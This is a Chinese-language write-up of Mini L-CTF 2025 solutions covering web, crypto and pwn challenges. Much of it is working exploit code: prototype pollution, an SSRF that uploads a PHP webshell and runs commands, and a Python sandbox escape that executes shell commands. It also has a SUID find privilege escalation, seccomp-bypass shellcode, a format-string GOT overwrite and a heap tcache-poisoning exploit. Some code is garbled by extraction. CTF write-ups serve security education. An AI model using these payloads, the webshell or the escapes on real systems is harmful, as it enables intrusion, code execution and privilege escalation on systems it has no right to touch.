Mini L-CTF 2025
排名:2
Web
Clickclick
分析源代码,发现每 100 下对 /update-amount
发送一个 json
{"type":"set","point":{"amount": 100}}
但是事实上到 amount1000 就不让过了
看到源码提示如果是 null/0 会删除 amount 键
那么我们污染一下让他后面正常读取即可
exp
def web3():
payload = {"type":"set","point":{"amount":None,"__proto__": {"amount": 100000}}}
resp = requests.post(base+"/update-amount", json=payload).text
print(resp)
神神秘秘的黑盒
GuessOneGuess
注意到 punishment-response 中,data.score 可以自行构造
制造 +Infinity 溢出
打开控制台,人工发包
const socket = io();socket.emit("punishment-response", { score: -1.7976931348623157e308} );socket.emit("punishment-response", { score: -1.7976931348623157e308} );
然后就是一通猜,猜到就领 flag(结果可在 f12-network 里面刚刚构建的 ws 连接看到)
socket.emit('guess', { value: 50 });
Miniup
先图片填 index.php
读源码
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$filename = $file['name'];
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}
$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
$file_content = file_get_contents($file['tmp_name']);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];
if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}
$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';
$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}
$response_data['paths'] = $filtered_paths;
echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';
echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>
注意到这行代码
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
file_get_contents
的参数可由 $_POST['options']
控制,打 ssrf 攻击 dufs 进行上传 webshell 即可,最后 rce 读 env
def web2():
payload = "<?php system($_GET['cmd']); ?>"
resp = requests.post(base+"/index.php", data={
"action": "view",
"filename": "http://127.0.0.1:5000/shell.php",
"options[http][method]": "PUT",
"options[http][content]": payload,
"options[http][header]": "Host: 127.0.0.1:5000\nContent-Length: {}\n".format(len(payload)),
}).json()
print(resp)
resp = requests.get(base+"/shell.php?cmd=env").text
print(resp)
PyBox
很有意思一道题
先看看这题干了什么:
- 过滤了一堆字符
badchars = "\"'|&
+-*/()[]{}_.”` 看似不可能打得了 - AST 审计黑名单
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__","__globals__", "__code__", "__closure__", "__func__", "__self__","__module__", "__import__", "__builtins__", "__base__"
- builtins 删的只剩下
print
filter
list
len
addaudithook
Exception
- 加了一个白名单 audithook
我们一个个来,首先第一个,我们注意到执行前有这样一步操作
code = code.encode().decode('unicode_escape')
那很好了,payload 套一层 unicode 秒了黑名单
第二个审计黑名单,注意到 __getattribute__
没被 ban,可以使用它作为获取子 attribute 的工具,先留着
然后 audithook 怎么绕呢,注意到它是这么判断的:
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
那很好了,我劫持 list/filter 和 len 不就行了
那我们首先得获取 globals,通过 __getattribute__
直接拿 __globals__
g = my_audit_checker.__getattribute__('__globals__')
然后劫持两个内置函数
g["__builtins__"]["list"] = lambda x: ["a"]
g["__builtins__"]["len"] = lambda x: 0
至此,audithook 被致盲
然后怎么办?完全逃不出去啊
注意到 builtins 还有个 Exception 可以用
那么我们可以拿到一个 traceback:
try:
raise Exception()
except Exception as e:
tb = e.__traceback__
现在,我们只需要利用栈帧逃逸,逃到 exec 外部拿到真正的 globals 即可!
try:
raise Exception()
except Exception as e:
tb = e.__traceback__
frame = tb.tb_frame
while frame.f_back:
frame = frame.f_back
globals = frame.f_globals
然后就直接 import,rce 了(由于限制输出,得一个一个来)
builtins = globals["__builtins__"]
res = builtins['__import__']('subprocess').getoutput('cat /m1* | base64 -w 0 | cut -c {}')
print(res[0].strip())
结束了吗?
你会发现并没有输出
那很好了,继续
ls -l
发现 flag 限制为 root 可读,需要提个权
find 一下 suid 发现 find 具有
给他改一下权限
find /etc/passwd -exec chmod 777 /m1* \;
正常读 flag 即可
PyBox 做完去做 Jail?真的假的?
Crypto
babaisiginsigin
import random
import socket
import threading
import os
def calculate_level1(_m_, _x_, _y_):
return (_m_ | _x_) + (_m_ | _y_)
def calculate_level2(_m_, _x_, _y_):
return (_m_ | _x_) + (_m_ ^ _y_)
def level(_conn_, _calculate_, _x_, _y_, _guess_, _description_, _test_times_):
for _ in range(_test_times_):
_conn_.sendall(b"Enter your number: ")
# 设置 5 秒超时
_conn_.settimeout(5)
try:
data = _conn_.recv(1024)
if not data:
return False
try:
test = int(data.strip())
except:
_conn_.sendall(b"Invalid input. Bye.\n")
return False
result = _calculate_(test, _x_, _y_)
_conn_.sendall(f"Calculation result: {result}\n".encode())
except socket.timeout:
_conn_.sendall(b"Time out! Respond in 5 seconds.\n")
return False
_conn_.sendall(f"\nNow, guess the result of {_description_} for m = {_guess_}:\n".encode())
# 设置 5 秒超时
_conn_.settimeout(5)
try:
data = _conn_.recv(1024)
if not data:
return False
try:
user_guess = int(data.strip())
except:
_conn_.sendall(b"Invalid input. Bye.\n")
return False
correct_result = _calculate_(_guess_, _x_, _y_)
if user_guess == correct_result:
_conn_.sendall(b"Correct! Proceeding to next level...\n\n")
return True
else:
_conn_.sendall(b"Wrong guess! Exiting...\n")
return False
except socket.timeout:
_conn_.sendall(b"Time out! You took too long to respond.\n")
return False
def handle_client(_conn_, _addr_, _flag_):
_conn_.sendall(b"Welcome to Puzzle!\n\n")
try:
# Level 1
x = random.getrandbits(30)
y = random.getrandbits(30)
guess = random.getrandbits(30)
_conn_.sendall(b"Level 1:\n")
if not level(_conn_, calculate_level1, x, y, guess, "(m | x) + (m | y)", _test_times_=2):
_conn_.close()
return
# Level 2
x = random.getrandbits(30)
y = random.getrandbits(30)
guess = random.getrandbits(30)
_conn_.sendall(b"Level 2:\n")
if not level(_conn_, calculate_level2, x, y, guess, "(m | x) + (m ^ y)", _test_times_=2):
_conn_.close()
return
# 通关,发flag
_conn_.sendall(f"Congratulations! You've passed all levels!\nHere is your flag: {_flag_}\n".encode())
except Exception as e:
_conn_.sendall(b"An error occurred. Bye.\n")
finally:
_conn_.close()
def main():
host = "0.0.0.0"
port = 2227
flag = os.getenv('FLAG', 'flag{testflag}')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
print(f"[+] Listening on {host}:{port}")
while True:
conn, addr = s.accept()
threading.Thread(_target_=handle_client, _args_=(conn, addr, flag)).start()
if __name__ == "__main__":
main()
两个挑战,分别是(m | x) + (m | y)和(m | x) + (m ^ y),有两次输入自选 m 的机会。
第一个传入 0 时会得到 x+y,只用两次无法得到全部的位信息,可以 z3 求解一个与结果相同的值
第二个只要传全 0 和全 1 即可得到 x+y 和 y^0x3FFFFFFF+0x3FFFFFFF
直接解即可
from pwn import *
from z3 import *
context.log_level = 'debug'
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 35813
sh=remote(REMOTE_HOST,REMOTE_PORT)
sh.recvuntil(b'r: ')
# lv1_m1=int('101010101010101010101010101010',2)
lv1_m1=0
sh.sendline(str(lv1_m1).encode())
lv1_re1=int(sh.recvline().decode().split(' ')[2].strip('\n'))
print(lv1_re1)
sh.recvuntil(b'r: ')
lv1_m2=int('101010101010101010101010101010',2)
# lv1_m2=2
sh.sendline(str(lv1_m2).encode())
lv1_re2=int(sh.recvline().decode().split(' ')[2].strip('\n'))
print(lv1_re2)
m1=int(sh.recvuntil(b':').decode().split(' = ')[1][:-1])
print(m1)
x=BitVec('x',30)
y=BitVec('y',30)
zlm1=BitVecVal(lv1_m1,30)
zlm2=BitVecVal(lv1_m2,30)
s1=Solver()
s1.add(lv1_re1 == (zlm1|x)+(zlm1|y))
s1.add(lv1_re2 == (zlm2|x)+(zlm2|y))
print('-------------')
print(s1.check())
print(s1.model())
x1=s1.model()[x].as_long()
y1=s1.model()[y].as_long()
print(x1,y1)
print('-------------')
v1=(m1|x1)+(m1|y1)
sh.sendline(str(v1).encode())
sh.recvuntil(b'r: ')
# lv1_m1=int('101010101010101010101010101010',2)
lv2_m1=0
sh.sendline(str(lv2_m1).encode())
lv2_re1=int(sh.recvline().decode().split(' ')[2].strip('\n'))
print(lv2_re1)
sh.recvuntil(b'r: ')
lv2_m2=0x3FFFFFFF
# lv1_m2=2
sh.sendline(str(lv2_m2).encode())
lv2_re2=int(sh.recvline().decode().split(' ')[2].strip('\n'))
print(lv2_re2)
m2=int(sh.recvuntil(b':').decode().split(' = ')[1][:-1])
print(m2)
y2=(lv2_re2 - 0x3FFFFFFF)^0x3FFFFFFF
x2=lv2_re1-y2
v2=(m2|x2)+(m2^y2)
sh.sendline(str(v2).encode())
sh.interactive()
rsasign
from Crypto.Util.number import bytes_to_long, getPrime, inverse
from secret import flag
def genKeys(_nbits_):
e = 0x10001
p = getPrime(_nbits_ // 2)
q = getPrime(_nbits_ // 2)
n = p * q
phi = n - (p + q) + 1
d = inverse(e, phi)
pubkey = (n, e)
prikey = (d, p, q)
return pubkey, prikey
def encrypt(_msg_, _pubkey_):
m = bytes_to_long(_msg_)
n, e = _pubkey_
c = pow(m, e, n)
return c
def get_gift(_prikey_):
a = bytes_to_long(b'miniL')
b = bytes_to_long(b'mini7')
p, q = _prikey_[1:]
phi = (p - 1)*(q - 1)
giftp = p + a
giftq = q + b
gift = pow((giftp + giftq + a*b), 2, phi)
return gift >> 740
if __name__ == "__main__":
nbits = 1024
pubkey, prikey = genKeys(nbits)
c = encrypt(flag, pubkey)
gift = get_gift(prikey)
with open('output.txt', 'a') as f:
f.write('pubkey = ' + str(pubkey) + '\n')
f.write('c = ' + str(c) + '\n')
f.write('gift = ' + str(gift) + '\n')
gift = pow((giftp + giftq + a*b), 2, phi)=(p+q+a+b+ab)^2 %phi
数量级主要来自(p+q)^2 与 phi 数量级相当,低位隐藏较多,可以直接用 n 代替 phi,解得(p+q)的高位。
然后联立解得 p 高位,copper 即可,注意参数调教
from Crypto.Util.number import *
def get_gift(_prikey_):
a = bytes_to_long(b'miniL')
b = bytes_to_long(b'mini7')
p, q = prikey[1:]
phi = (p - 1)*(q - 1)
giftp = p + a
giftq = q + b
gift = pow((giftp + giftq + a*b), 2, phi)
return gift >> 740
pubkey = (65537,103894244981844985537754880154957043605938484102562158690722531081787219519424572416881754672377601851964416424759136080204870893054485062449999897173374210892603308440838199225926262799093152616430249061743215665167990978654674200171059005559869946978592535720766431524243942662028069102576083861914106412399)
c = 50810871938251627005285090837280618434273429940089654925377752488011128518767341675465435906094867261596016363149398900195250354993172711611856393548098646094748785774924511077105061611095328649875874203921275281780733446616807977350320544877201182003521199057295967111877565671671198186635360508565083698058
gift = 2391232579794490071131297275577300947901582900418236846514147804369797358429972790212
e=pubkey[0]
n=pubkey[1]
a = bytes_to_long(b'miniL')
b = bytes_to_long(b'mini7')
X=a+b+a*b
gift=gift*2**740
PR.<_x_> = _PolynomialRing_(RealField(1000))
for i in range(30):
pqh=_int_(sqrt(gift+i*n))
f=pqh*x-n-x^2
root=f.roots()
if len(root)==0:
continue
print(root)
ph=_int_(root[1][0])>>226<<226
PR.<_y_> = _PolynomialRing_(Zmod(n))
f=ph+y
res=f.small_roots(_X_=2**230,_beta_=0.49, _epsilon_=0.04)
if res and res[0]!=0:
p=_int_(res[0])+ph
print(res,p)
break
q=n//p
print(q)
phi=(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))
ezhash?!
from Crypto.Util.number import*
import random
import string
from secret import flag,key
def shash(_value_,_key_):
assert type(_value_) == str
assert type(_key_) == int
length = len(_value_)
if length == 0:
return 0
mask = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
x = (ord(_value_[0]) << 7) & mask
for c in _value_:
x = (_key_ * x) & mask ^ ord(c)
# x=x*key-c % mask
x ^= length & mask
return x
def get_test(_key_):
testvalue = []
testhash = []
for i in range(64):
a = ''.join(random.choices(string.ascii_letters + string.digits, _k_=32))
testvalue.append(a)
testhash.append(shash(a,_key_))
return testvalue,testhash
if __name__ == "__main__":
assert len(flag) == 32
assert type(flag) == str
testvalue,testhash = get_test(key)
shash = shash(flag,key)
with open('output.txt', 'a') as f:
f.write('testvalue = ' + str(testvalue) + '\n')
f.write('testhash = ' + str(testhash) + '\n')
f.write('shash = ' + str(shash) + '\n')
shash 过程 &mask = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 相当于 模 2**280
由于是模 2 的指数下的,可以逐位恢复 key
接下来根据
造格求解即可
from Crypto.Util.number import *
testvalue = ['tx4QYfj3lCTABrCoMsh3PPvQIM7dmIIw', 'jKLrKVRVpjjyrchL41IjMVkQMgSkyyig', 'fdbfg4185rfRJyhwCwc2flhmsCDuVOe8', 'ZL8h1XOKVNXkVh1ZcCHhDUvF4FO96139', 'HcDKLC1iMwoiWoGxaC5VNC78VHLt5JOI', 'GzGJsONsN8GSZxh6C89w0nzRiTaR3tkj', 'Qcc9vqEBGXYd8sZ3E94Ode6ChC3U53x7', 'kABKm4mE7AttOzac3eBXvIxKE9Ve0viT', 'IkxnSW31AuUGpVldXGopAxfzr5eTXc2u', 'rJ2LZ0uDPCWEwJzaGGalaWWHBbxrLH4h', 'bOlXdB5xVb2RQO0MAhLvzgOZpEo2hIdP', 'gRhoDgyxFFV5kBLwZxexhoHNd5BD81UE', 'Ij86fy7zhVOaapV76xI71IUC8utF6Ct6', 'T055KPGIWKhNIEPxAKW4MLMbmWDvEnLb', 'SQSSYTFryov8Bp1ckfjbUTTV8H3Z3Dr7', 'AzfvT7z8NXJ9u8ID6vgJ8Zml58F2k0iF', 'o3nEYw9XaNzgetmmwypTU7oePU04Tkhc', 'B44YjfhqOrlPg8XQJq2fhWEoGaCijfsc', 'b7cvfUfjvorVjDBW6DiXrZc3eBqx98Ro', '9MwfbmLtdmRRt0TONZ4zmd6NN7z7V8Eg', '2f7I0f65nopjOpIZzErAoqYSGl0tMo0x', 'PqvrJ3FmEuJh1ASIQ06RyYCXbe6426CY', 'c3C60OTDrIs5ZChP2hTAYvViDw43ARCK', 'D6a0NJ2JpwtTBCRJdw1DcXntMgRRyj2A', 'gJ0rEL4zyy8A6aKZ1H3N46rsQnY6UGGx', 'CD19v37d2jHu9YZMp20h70sm1Q3t1yOm', '7vt0C1SCNvPBqBm0YrJffbeLG8vS8388', 'o2KRrZQJLD7CMuLzlPJoJHXwVOHEanBi', 'Lm8I9m5ikXVrguEUFKw6yIc9QWnLwisx', 'kt9H0IDCsjCfqkR83aHD8D23jXq55q5K', 'HsXBVD2dMVTScHfgwAeNsqHkLCWuuaVn', 'QnkXRLGjzfh16icAVidcW4kVx1LEOv0j', '29dQWe0QWOxNAhv48Lfnv8II4IZqeUh1', 'E9Hj5zUhGXUfrNJRmhxF0KfBq0wSjX0i', 'mEc57IdmvliXneKStFzb3pAnNNm4UHbh', 'TvRZb6btVQeKXsO5iVuRCdz3A4ORZ5yQ', 'yOfrPTw9Vkd0P7kiijnGVYL4SogWF7cY', 'GNI7o11w4RyXYY2hnxdq1mAeVPrppkRc', 'YCMxUi7OcB5xozjTg09xXbJvwM6U4apy', '0g6ItBFoe3174e7wpEaEgoid0rixLHBs', 'bsyXlUGPUnQjoNwQLROwrA2SCkbDR1k5', 'CMNSNW3fU14ibZgL0ifWrA0xbbq7Yrks', 'VHfbRmzF9mzGCbYySdljWWo08IVCmAMZ', 'SLfmmSZ5TjDc4ZfKIB2gOVf9KIH2jDUi', 'YKTagkUhZjI0gMyaE1YjVJdCYtPGPZge', 'kCVhCGvjedxC44BlTqQryGdMliYqYrIz', 'HflxuwlJZ2rByOnv995gpXz03ZK6MLW2', '8Yy45IMlpMhDO3CFVhr5f0iRBnNuj3ut', 'Ydae2l7kt1O6mCIBRwjr6TWn6fLRHXjf', '3cLGeEXfyLnrL0ZkvgSEAbDBYgaFNFxB', '97xOFim3lkwqrWM1BqQ7c8mYo5S5TxkC', 'U1EgvNhZz3M8Hg38FsuBVG0PvuWiCfez', '1elLy7dgdfEtb2XyZMxaU6h8dGjfokjv', 'FlSHFSs2SeKNOUVAprkHdtD2FrIPUGIR', 'Bu1pVMZ5QqMmvBTdUt4IwsTpkclqwQKF', 'BPzJvHHDTAu23xBS1wVButTF7lU0JGoo', '6xje2blSl3QwGeV9D4pUmxMKJDqpyXpt', 'F2DkyxkRcHotO6i5MVUKzzDsxV2F69wh', 'kvSYBqmZNppDfweere2A8co50Tv85c4m', '9k5gxX8oz1WmVLtCcN4SdFIse2FizYDU', 'BJ2PCD5KgukjFWntZ3VSjcHJzIZprno2', 'Lyw9EacIjF6j6de3e5wFRQLdzrOfQoAR', 'egf9LJLJrWDIrtnsHZ4XRgoPTXNsz91a', 'Y3ptIW83Rwtny4kng2lCEAYQyPrSIXWl']
testhash = [139452903649273495774796570198749847935154848275416989998236609393670079561796026566, 1898315960650462382992557075551445244853390783794354772475023552166352399126801574913, 1548283380348601157365276865178627465508293067676981633220766480841355279423253644108, 923519463377078549688929962730292019193308698763374121309865664233390770048594933085, 1756902502089018688726236312608077708484907801835749190713532913735823397112051091188, 485883566823442644293538461674550566921074196968613685770142417532151624958507107972, 1173292014155884160226339046019271687659068020981556335907768031140876583959335792191, 1497598230931219654402725391331476099708291441530945577907300933091011484442911623559, 405254852716971084666570344588562007424273706832802434925282540786042396564117859893, 1394088214004563872208003758992014976825245306078851263986862009024422531466462221196, 1763510459716348629512798257958014024443432479861579028783119470126357343664438877507, 27569271776233701581922903599984775754217802504994237075390721310066121958700422257, 358721799072196562200934505713368644637409165736588969777736471282788507457480492393, 393768200956019495628870433474843666326783653588854234548113046584760291662872350533, 1807499005738194381232046747643492968233097104171420081977957810644000450496758434126, 1128375044917910760907836056160281710737671148936596789317429758098492329675588054412, 190801904376187850882600897701548299608718300961575858190394579710450430805489346060, 696235869802737571933351613461601576350495964954926712734858661433694663819119664403, 144629031178782625524039663692148786536912021223673544659451459599242746855791775856, 401144481698447351083363386545760097487182143265029898145794033656496473914256697335, 1009618288798575771577716476700225261222418219966898563557126734083036472365735018549, 1652157599124169823165290864340613818899678030477803381010155627950330279311151902666, 1870720516435595720338243705356357230346778004770545711499635272857342051185669675206, 1487151272734883591621339384743729579702945226647848932314811332859011211687393769612, 1479191883622650407012568261078896124452298448888937784127270669623167501587692263629, 780856915459110484827869192135025240964695263399685896704373351690074659693517658597, 1272702898194178848480618231703540760239057875392727193937165056708655804663623414520, 1275195323347307250910668562396243097983325652451465111552014287378408554253858874273, 1698673537783777278793781484130287999078310462163146951845044095951885080758156044986, 1116043791065172596267818286071095315966453133595258493434104767743854595678117184595, 1348107024738703857635485943338711096444282613588540975344171990396347335813147110414, 674079263421647723071324170291511267338891718494055820365382788749002205059725239586, 295061829951102865059369162125524442985720861319812067484094160955682413284464056261, 1538215242227433291697344636690665676070219615083515667029553094023114463154050936814, 721505087135717334627356208457079819823654955152265437431617001188458058923464437209, 1829121734506718678607427505722187801463532440435031915402835074237985549711879794153, 641638098138302116745154827833695010970508819483215023447636503844550651793330508318, 578773085269354102367810984562000052879291442293349350198300750627238557013515250567, 1037095172573176620769108515135124799537948207093565906631598569276504664097088051993, 1135701773556587743998667090148858666225101588783019121910187176364233349468967967460, 558240645642302963325581107204211662019896908316831899444935081810819489268610165950, 1058477746525469710567689847282850794170250650192794892415352733735415750154044535539, 1078948952548590509616082107408254715684287170445966544383750373684441181406075608800, 1125503915235599245173592373330463888468814720113318696411329986853859005519154551245, 620937641933659718470519231175003762666892925875327642171561741417944681106496958467, 1606192912497675735832389346699475593863960301930109653069662356606234973780336341534, 1080665036256326887412273484626209788664633047255179233142423471463514811554155351816, 983009583253660084055702843297933007090244160053834934015802835528599935867335658914, 483554778736863191047830758397092863562079726548422384268968936073701177390747179894, 1448392838363784830874780455853191313920717249664981009097361707739423512768919183176, 1485175804980546607220269493098915446350406205462077528986751407380405658199537322034, 645127338301455578293193215328875283422934699182904112612610112081929081505533458304, 1809012351380435986646710932772127842855528298763939575266488725018536037784342688529, 1204732789391044629328843397205785308919820285525150764490536624969971871178313643864, 577072907834194443039001358264806817627199891744275024388326836994220595931009773412, 4850110449540994875278068624822977611188629104877448016749725577673217396499782282, 1431458221917644050146055837804453915809781510516096707298405324221753990760039183190, 997966793625232984798176686099411790420209217223783698909939651134351713786805317998, 1663286211430268448119727051818073243067649643181675027323547282932628837598336996456, 1864894557154744961308146774304105483911867578158330607820790060568575114233028842003, 345822843952211153189889023070066136116424104740167243049994988868945364800740535124, 803699468991667968627856232995969437316168483382073633967569490433608395707635458855, 1700532832517222239684444041937412551935144886911006116260771516969538181780787023704, 351624945474123146509460066647337532150453362002844376810733781394757015795554947704]
shash = 463802484547898091835999726502006552543022358314700124374789687370275467670717610329
def shash(_value_,_key_):
assert _type_(value) == _str_
assert _type_(key) == _int_
length = len(value)
if length == 0:
return 0
mask = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
x = (ord(value[0]) << 7) & mask
for c in value:
x = (key * x) & mask ^^ ord(c)
# x=x*key-c % mask
x ^^= length & mask
return x
def get_test(_key_):
testvalue = []
testhash = []
for i in range(64):
a = ''.join(random.choices(string.ascii_letters + string.digits, _k_=32))
testvalue.append(a)
testhash.append(shash(a,key))
return testvalue,testhash
def bit_hash(_value_,_key_,_bits_):
length = len(value)
if length == 0:
return 0
mask = 2**bits-1
x = (ord(value[0]) << 7) & mask
for c in value:
x = ((key * x)& mask)^^ord(c) & mask
# x=x*key-c % mask
x ^^= length & mask
return x
def get_key(_key_,_bits_):
print(key , bits)
if shash(testvalue[0],_int_(key)) == testhash[0] or bits == 280:
print(0,bin(key)[2:],bits)
return key
if any( bit_hash(testvalue[index],key,bits + 1) != testhash[index] & (2**(bits+1)-1) for index in range(len(testvalue)) ):
print(1,bin(key)[2:],bits)
key=key+ 2**bits
if any( bit_hash(testvalue[index],key+2**bits,bits + 1) != testhash[index] & (2**(bits+1)-1) for index in range(len(testvalue)) ):
print(2,bin(key)[2:],bits)
return get_key(key,bits+1)
key=get_key(0,0)
print(key)
Pwn
Ex-Aid lv.2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x00000149 if (A != pkey_mprotect) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
打 open+sendfile
from pwn import *
context(arch='amd64',os='linux')
context.log_level="INFO"
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./chal")
io=remote("127.0.0.1", 34153)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
#debug("break *main+326\nc")
sc1=asm("""
mov eax, 0x67616C66
push 0
push rax
push rsp
pop rdi
lea r9, [rip+11-0x1c+0x20]
call r9
""")
sc2=asm("""
xor rsi, rsi
xor rdx, rdx
mov eax, 2
syscall
lea r9, [rip+11+6+2-7]
call r9
""")
sc3=asm("""
mov rsi, rax
mov edi, 1
mov r10, 0x100
mov eax, 0x28
syscall
""")
s(sc1)
s(sc2)
s(sc3)
shell()
PostBox
用格式化修改循环次数,之后把 write got 改为后门
from pwn import *
context(arch='amd64',os='linux')
context.log_level="INFO"
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./chal")
io=remote("127.0.0.1", 39687)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
p="A"*(764-12)+"X"*8+"A"*4+p64(114514)
sl("2")
sla("contents:", p)
p="%14$p-%7$n"
#debug()
sla("contents:", p)
ru("0x")
pie=int(ru("-"), 16)-0x3df0
print hex(pie)
#p="%10$p"
write=0x04020+pie
back=0x0177E+pie
p=fmtstr_payload(10, {write:back})
#debug()
sla("contents:", p)
shell()
EasyHeap
如果创造堆块在 idx=0,释放 idx=0,在 idx=1 拿回释放堆块,释放 idx=0 就能构造 uaf。
先填满 tcache 来构造 unsorted 来进行泄漏,之后打 tcache poison 写 stdout 结构题。最后利用 setcontext 来写 shellcode 再用 openat2 替换 open 来 orw
from pwn import *
context(arch='amd64',os='linux')
#context.log_level="DEBUG"
context.log_level="INFO"
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./chal")
io=remote("127.0.0.1", 41133)
libc=ELF("./libc.so.6", checksec=False)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
def choice(idx):
sla("Choice:", str(idx))
def add(idx, size, content="A"*8):
choice(1)
sla("Index:", str(idx))
sla("Size:", str(size))
sla("data:", content)
def free(idx):
choice(4)
sla("Index:", str(idx))
def show(idx):
choice(3)
sla("Index:", str(idx))
def edit(idx, content):
choice(2)
sla("Index:", str(idx))
sla("data:", content)
for i in range(9):
add(i, 0x400)
for i in range(8):
free(i)
for i in range(8):
add(0, 0x400)
for i in range(1, 7):
free(i)
free(8)
free(7)
show(0)
ru("Data: ")
libc.address=u64(r(6).ljust(8, "\0"))-0x203b20
print hex(libc.address)
